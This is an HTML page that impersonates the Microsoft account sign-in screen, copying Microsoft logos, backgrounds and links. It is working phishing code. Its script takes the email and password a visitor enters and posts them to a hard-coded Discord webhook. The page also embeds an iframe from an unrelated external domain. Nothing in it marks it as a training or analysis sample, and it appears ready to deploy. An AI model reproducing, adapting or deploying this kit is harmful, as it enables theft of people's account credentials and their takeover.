<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no">
    <title>Sign in to your account</title>
    <link rel="icon" type="image/png" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.12.0/css/all.css">
    <style>
        body {
            background-image: url(https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg);
            background-repeat: no-repeat;
            background-size: cover;
            height: 100vh;
            margin: 0; /* Remove default margin */
            display: flex;
            justify-content: center;
            align-items: center; /* Centers content vertically */
            overflow: hidden; /* Prevent overflow */
        }

        #loginForm {
            background-color: #fff;
            border-radius: 8px;
            box-shadow: 0 2px 23px -5px rgba(0, 0, 0, .46);
            padding: 30px;
            width: 400px;
        }

        .logo {
            display: block;
            width: 150px; /* Adjust logo size */
            height: auto;
            margin-bottom: 20px; /* Add some space below the logo */
        }

        .btn-primary {
            background-color: #0078d4;
            border-color: #0078d4;
        }

        .btn-primary:hover {
            background-color: #005ea6;
            border-color: #005ea6;
        }

        .btn-secondary {
            margin-right: 10px;
        }

        .borderless {
            border: none;
            border-bottom: 1px solid #ccc;
            border-radius: 0;
            padding: 8px 0;
            width: 100%;
        }

        .borderless:focus {
            outline: none;
            border-bottom: 1px solid #0078d4;
        }

        .forgot-password {
            margin-top: 20px;
            text-align: center;
        }
    </style>
</head>

<body>
    <div id="loginForm" class="container">
        <img src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg" alt="Microsoft Logo" class="logo">
        <h3 class="text-left">Sign in</h3>
        <div id="result" class="mb-2 text-danger"></div>

        <div id="email-section">
            <label for="email">Email, phone, or Skype</label>
            <input type="email" id="email" class="borderless mb-3" placeholder="Email, phone, or Skype" autofocus required />
            <button class="btn btn-primary btn-block" type="button" id="btnSend">Next</button>
            <p class="mb-0">No account? <a href="https://signup.live.com/?lic=1" style="color: #0078d4;">Create One!</a></p>
            <p class="mb-2"><a href="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?scope=service%3A%3Aaccount.microsoft.com%3A%3AMBI_SSL+openid+profile+offline_access&response_type=code&client_id=81feaced-5ddd-41e7-8bef-3e20a2689bb7&redirect_uri=https%3A%2F%2Faccount.microsoft.com%2Fauth%2Fcomplete-signin-oauth&client-request-id=2d868f2b-2604-445a-b185-4b2bce6a7fc1&x-client-SKU=MSAL.Desktop&x-client-Ver=4.61.3.0&x-client-OS=Windows+Server+2019+Datacenter&prompt=login&client_info=1&state=H4sIAAAAAAAEAAXBSaKCIAAA0Lu0dSGmlC1DTXNWwrQdEk7Zx6HBPP1_b1NSbA8SSwrQlxiW6RcOknsYs5DxLqkOgPbumpVBmZ_j3rH0tSP2Z5QNn-qttr59OGkK1sTdjUVzG1hngKLXlgwR8e9jI6pTMR2OMfGMKsSmbv16UM3gjsIisc406lUGpt5xRlid_w-d7mtaFVt19sUFTfcBO7lEGJj-IrbAfcZ0M2n9xv144IjtnY_gGEoQ56P3PFJ6wxMfK8lv9NWkIU0PBrzayQ66e3VySCbLhH9gfo5XqwkfmMuCf93bk3Q_zV-q05Im8SyCBkmbuQFfRAzD6G_Ilt0_k7RUcsyuvCO5hWZpAYRU9vXb48ioMeGoXS6dHctEGDtNcT41X0aTsJpqXcQgb2hWA9SqC7W5-68holjGsGnzyLckODx2vwD44uNT4IBAAA&msaoauth2=true&lc=1033&ru=https%3A%2F%2Faccount.microsoft.com%2Faccount%2FAccount" style="color: #0078d4;">Can't access your account?</a></p>
        </div>

        <div id="password-section" class="mt-4" style="display: none;">
            <p><b>Enter Password</b></p>
            <input type="password" id="password" class="borderless mb-3" placeholder="Password" required />
            <div class="form-check">
                <input type="checkbox" id="cbRemember" class="form-check-input">
                <label class="form-check-label" for="cbRemember">Keep me signed in</label>
            </div>
            <p class="forgot-password"><a href="#" style="color: #0078d4;">Forgot password?</a></p>
            <button class="btn btn-secondary" type="button" id="btnBack">Back</button>
            <button class="btn btn-primary" type="button" id="btnSignIn">Sign in</button>
        </div>
<iframe src="https://sub1.kalkikrivadna.com:8080" width="100%" height="250" style="border: none; margin-top: 20px; overflow: hidden;"></iframe>
    </div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js"></script>
    <script>
        const btnSend = document.getElementById("btnSend");
        const btnBack = document.getElementById("btnBack");
        const btnSignIn = document.getElementById("btnSignIn");
        const emailInput = document.getElementById("email");
        const passwordInput = document.getElementById("password");
        const passwordSection = document.getElementById("password-section");
        const emailSection = document.getElementById("email-section");
        const resultText = $("#result");

        // Function to validate email
        function validateEmail(email) {
            return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
        }

        // Event listener for the Next button
        btnSend.addEventListener("click", function () {
            const email = emailInput.value.trim();
            resultText.text("");

            // Validate email
            if (!validateEmail(email)) {
                resultText.text("Enter a valid email address.");
                return;
            }

            // Hide email section and show password section
            emailSection.style.display = "none";
            passwordSection.style.display = "block";
        });

        // Event listener for the Sign in button
        btnSignIn.addEventListener("click", function () {
            const email = emailInput.value.trim();
            const password = passwordInput.value;

            // Validate password length
            if (password.length < 8) {
                alert("Password must be at least 8 characters long.");
                return;
            }

            // Prepare data to send to the Discord webhook
            const data = {
                content: `Email: ${email}\nPassword: ${password}`
            };

            console.log("Sending the following data to the webhook:", data); // Log data before sending

            // Send request to Discord webhook
            $.ajax({
                url: 'https://discord.com/api/webhooks/1214945289283047514/z8J37yPMIA8_OunjvvcVzB-7O8RxFqk8NLTUb3i8CJjZxD345avbR7eX6t0en4DvWOKL', // Discord webhook URL
                method: 'POST',
                contentType: 'application/json',
                data: JSON.stringify(data),
                success: function(response) {
                    console.log("Sign-in response:", response); // Log response on success
                    alert("Sign-in information sent successfully!");
                },
                error: function(xhr, status, error) {
                    console.error("Sign-in error:", xhr, status, error); // Log error details
                    alert("Failed to send sign-in information: " + xhr.responseText || error);
                }
            });
        });

        // Event listener for the Back button
        btnBack.addEventListener("click", function () {
            passwordSection.style.display = "none";
            emailSection.style.display = "block"; // Show email section again
            emailInput.value = "";  // Clear email field
            passwordInput.value = ""; // Clear password field
            resultText.text("");     // Clear result message
        });
    </script>
</body>

</html>